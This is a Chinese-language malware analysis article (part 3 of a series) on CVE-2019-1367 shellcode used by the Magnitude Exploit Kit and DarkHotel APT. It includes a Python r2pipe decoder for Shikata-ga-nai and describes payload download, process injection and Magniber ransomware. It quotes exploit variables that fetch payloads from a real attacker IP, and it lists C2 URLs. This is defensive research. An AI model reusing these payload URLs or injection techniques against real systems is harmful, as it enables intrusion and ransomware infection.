CVE-2019–1367:IE 漏洞分析 Part3

阅读量    184639 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

提取Magnitude Exploit KIT的shellcode

成功利用CVE-2019-1367后,将执行Magnitude Exploit Kit 恶意的shellcode指令,首先是一个简单的shellcode加载器,它负责以下工作:

  • 通过kernel32!VirtualAlloc分配具有PAGE_EXECUTE_WRITECOPY权限的内存
  • 使用kernel32!RtlMoveMemory()将shellcode复制到分配的内存中
  • 通过CreateThread()启动shellcode

我们有不同的断点选项来dump未修改的shellcode,我们可以在CreateThread()上设置一个断点,并在第三个参数中dump内存指针,这是包含shellcode的内存区域,在我的测试环境中是在0x1a60000。

kernel32!CreateThread()断点:

在内存中位于0x1a60000的shellcode准备执行:

将shellcode转储到文件中

 

分析Magnitude Exploit KIT的Shellcode

在最后一节中,我们成功定位到了shellcode,并将其dump到一个文件中进行分析。有多种分析shellcode的方法,每种方法都有优缺点。我们将尝试以最有效的方式对这个shellcode进行逆向分析。

在radare2中加载shellcode,我们可以在入口点地址附近看到一些重要的提示:

这个shellcode的所有迹象表明它是由Shikata-ga-nai编码的:

  • 使用FPU指令 (ffree st(2))
  • 使用fnstenv获得EIP(此处EDX将保存FPU指令执行的最后一个地址)
  • 应该存在简单的XOR循环指令解来解码,但目前我们还没有看到,我们必须模拟一些指令

注意:Shikata ga nai是一个多态异或编码模块,可以在Metasploit中Encoder/x86/Shikata_ga_nai中使用。该编码器实现了一个多态异或编码器。基于动态指令替换和动态块排序生成的。寄存器也是动态选择的。

使用radare2,我们可以通过命令“ aes ” 开始模拟第一条指令。我们继续模拟,直到看到循环指令,它是shikata_ga_nai XOR解码程序的一部分:

在这一点上,我们的假设是正确的,并且我们确认使用了Shikata ga nai。我们将使用radare2及其ESIL虚拟机堆栈进行模拟。我们将不得不考虑一个特殊的场景,因为ESIL没有FPU指令,所以,带有fnstenv的Shikata ga nai“获取EIP”技术将无法正常工作。

因此,我们将使用一个简单的技巧,包括检测第一个FPU指令执行的地方,并存储到栈顶,这基本上是简化了fnstenv指令。

注意:fnstenv将当前FPU操作环境保存在指定的内存位置,然后屏蔽所有浮点异常。FPU操作环境由FPU控制word、status word,、tag word、 指令指针、数据指针和最后一个操作码组成。

如注释所示,fnstenv做了很多事情,但我们只对获取指令指针感兴趣,也就是获取EIP,我们将按照以下步骤进行操作:

  • 持续记录最后执行FPU指令的偏移量。
  • 如果遇到fnstenv指令,请将最后一条FPU指令的偏移量复制到栈顶。

可以通过以下ESIL/r2pipe代码实现以上目标:

        # hack to pass last FPU address to ESP directly
        if current_op['family'] == 'fpu':
            if current_op['opcode'].startswith('fnstenv'):
                r.cmd('wv %d @ esp' % lastfpu)
            else:
                lastfpu = current_op['offset']
                print("lastfpu at {}".format(lastfpu))

接下来,我们要使用以下步骤对shikata ga nai进行解码:

  • 获取shellcode的基地址和shellcode的大小
  • 如果发现了FPU指令,我们记录它被发现的位置
  • 如果发现了fnstenv,我们将最后一条FPU指令的地址存储到esp(绕过未实现的fnstenv指令)
  • 继续模拟解密,直到找到loop指令且计数器小于1
  • 到达那里后,我们将所有字节都dump,解码后将其删除

在下面python3.x r2pipe代码,正是这样做的:

import sys
import r2pipe
import json

def initESIL():
    r.cmd('e io.cache=true')  
    r.cmd('e asm.bits=32')  
    r.cmd('e asm.arch=x86')
    r.cmd('aei')  # init ESIL
    r.cmd('aeim 0xffffd000 0x2000 stack')
    r.cmd('.ar*') 
    r.cmd('aer esp=0xffffd000')
    r.cmd('aer ebp=0xffffd000')

def dumpit(decoded_start, base, end, i):
    raw = r.cmdj('p8j %d @ %d' % (end - (decoded_start - base), decoded_start))
    bin_raw = bytearray(raw)

    with open('shikata_ga_nai_decoded.sch', 'wb') as f:
        f.write(bin_raw)
    print("total number of instructions emulated {}".format(i))
def decode(r):
    lastfpu = 0
    lastloop = 0
    decoded_start = 0
    base = 0
    end = 0

    offset = r.cmdj('pdj 1')
    base = offset[0]['offset'] # base address
    end = r.cmdj('oj')[0]['size']

    print("shellcode base = {}".format(base))

    for i in range(100000):
        current_op = r.cmdj('pdj 1 @ eip')[0]

        if lastloop != 0:
            decoded_start = lastloop
            print ("Length of Decoder: {} bytes".format(decoded_start - base))
            dumpit(decoded_start, base, end, i)
            return

        # hack to pass last FPU address to ESP directly
        if current_op['family'] == 'fpu':
            if current_op['opcode'].startswith('fnstenv'):
                r.cmd('wv %d @ esp' % lastfpu)
            else:
                lastfpu = current_op['offset']
                print("lastfpu at {}".format(lastfpu))

        if current_op['opcode'].startswith('loop') and r.cmdj('arj')['ecx'] <= 1:
            lastloop = current_op['offset'] + current_op['size'];
            print("lastloop {}".format(lastloop))

        r.cmd('aes')

    print('[-] We emulated %d instructions, giving up' % i)

if len(sys.argv) != 2:
    print('[*] Usage: %s sample' % sys.argv[0])
    sys.exit(0)

r = r2pipe.open(sys.argv[1])
r.cmd('e asm.comments=false');
r.cmd('e asm.lines=false');
r.cmd('e asm.flags=false');
initESIL()
decode(r)

如果我们运行上面的代码,结果是得到解码后的shellcode:

解码完Shellcode,并解决Win32 API之后,我们就可以开始分析和反编译此Shellcode。经过我们的分析,下面是此shellcode的作用:

  • 通过后续调用OpenProcessToken、GetTokenInformation、GetSidSubAuthority获取当前进程完整性级别,如下面的反编译代码所示:

检查SID结构的SubAuthority字段分别对应于0x1000和0x4000:

  • SECURITY_MANDATORY_LOW_RID (SID: S-1–16–0x1000)
  • SECURITY_MANDATORY_SYSTEM_RID (SID: S-1–16–0x4000)

根据当前的进程完整性级别,我们将在后面看到两个不同的执行路径。

一旦检查了当前权限,就创建一个HTTP请求来下载payload:

请求的当前URL:http://pophost[.]website/fz7bf0bh21atbt

我们注意到,完整性级别被传递到HTTP请求,在文件下载请求期间直接附加到文件名称。似乎下载的payload是不同的,这取决于我们是否处于较低完整性级别。

在payload被下载后,它将根据完整性级别注入目标进程的内存中。如果当前进程的完整性级别较低,则将payload被注入到当前进程中(这里是internetexplorer)。

如果当前进程有任何不同于低完整性级别(例如中,高或系统完整性级别),则shellcode将遍历正在运行的进程,并将注入具有中或高完整性级别的进程:

最后,shellcode使用的进程注入机制是通过目标进程中的WriteProcessMemory,其中通过VirtualAllocEX分配空间,然后通过CreateRemoteThread执行payload:

这个shellcode下载和注入的payload也是一个shellcode:

这里将使用与分析第一个shellcode相同的技术。我们模拟了前几条指令,并且确实有了另一个shikata ga nai编码的shellcode:

我们将运行与第一个shellcode解码和提取完全相同的脚本,该脚本正常运行后并将其全部解码:

这个shellcode将解密并加载最终在taskhost.exe内部运行的Magniber勒索软件。

我们可以看到大量的CPU并发读写IO,在taskhost.exe消耗量50%的CPU。

最后,在加密过程完成后,当用户试图手动杀死感染的taskhost.exe进程时,会加载一个勒索通知:

 

提取Darkhotel APT的shellcode

通过分析Windows中浏览器利用,似乎大多数浏览器利用都有一个共同的“瓶颈”指令,即kernel32!VirtualProtect。

如上所述,此函数为Shellcode授予执行权限。只需在此函数上设置一个断点,便可以找到在其第一个参数中传递的shellcode。

 

分析DarkHotel APT 32bits的shellcode

由于与Magnitude EK 的shellcode有区别,DarkHotel APT shellcode不会被混淆,仅需单步执行指令,即可对shellcode进行非常简单的分析。

简而言之,shellcode检查当前进程是否为“svchost.exe”。如果没有,它会使用exploit中的var b中的url再次将自身作为PAC文件下载,其中包含WinHttpGetProxyForUrl:

var b = "http://202.122.128.28/js/client/index/186.js";

当此exploit作为PAC文件加载时,检索到的进程名称将为“ svchost.exe”,并且shellcode下载并执行该文件。

下载的文件在exploit中的var a进行配置:

var a = "http://202.122.128.28/js/client/index/user_list.db";

下载的文件是一个PE文件,前两个字节破坏了MZ标头。前两个字节被JP替换(可能是针对日本的?)。

该文件是一个DLL,带有一个export_init,似乎在运行一些主机指纹识别,最终调用home从C2服务器下载和执行额外的文件:

hxxp://www.largeurlcache.com/ixx/u3/qmgj.32
hxxp://www.largeurlcache.com/ixx/u3/scrobi.32
hxxp://www.largeurlcache.com/ixx/u3/qmgj.64
hxxp://www.largeurlcache.com/ixx/u3/scrobi.64

注意:在此DLL(ColdBrew32.dll)中找到一个字符串。

在分析时,文件已从C2中删除,因此我们无法继续进行分析。

但是,与日本CERT分析报告中一个非常相似的攻击,研究人员使用了一种Gh0st RAT变体作为payload。

 

最后的想法

在野捕获的DarkHotel APT CVE-2019-1367 exploit 是一段相当复杂的代码。Magnitude Exploit KIT使用了相同的DarkHotel x32 exploit,对其进行了一些修改,以便能够运行自己混淆后的shellcode,并绕过韩国安全厂商的反恶意软件解决方案。

根据攻击的时间轴,这似乎是Magnitude Exploit KIT参与的又一exploit整合。尝试对原始DarkHotel APT漏洞进行任何修改都需要对漏洞的工作原理有足够了解,这不是一件容易的事(不像替换shellcode字节那样容易)。这表明Magnitude EK也具备出色浏览器利用技术,而这也是他们过去10年的主要收入来源。

至于DarkHotel APT,它们在技术和资源方面仍处于领先位置,其复杂程度绝对是创新者,因为他们有能力从零开始创建0-day攻击,并创建新的攻击和工具包。

最后,我们希望这个系列文章能够对Magnitude EK和DarkHotel APT技术以及在野使用的漏洞有所启发。

以下是我们针对DarkHotel APT在2020年1月6月之间进行的CVE-2019–1367利用活动的IOC列表:

在STIX v2.1中可以在这里找到与IOC相关的信息。

以下是2020年1月至6月期间Magnitude EK对CVE-2019-1367进行利用的IOC清单:

可以在这里找到STIX v2.1中的完整的EK IOC 。

最后,这是帮助我们完成这项研究的参考文章列表。

参考文章:

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多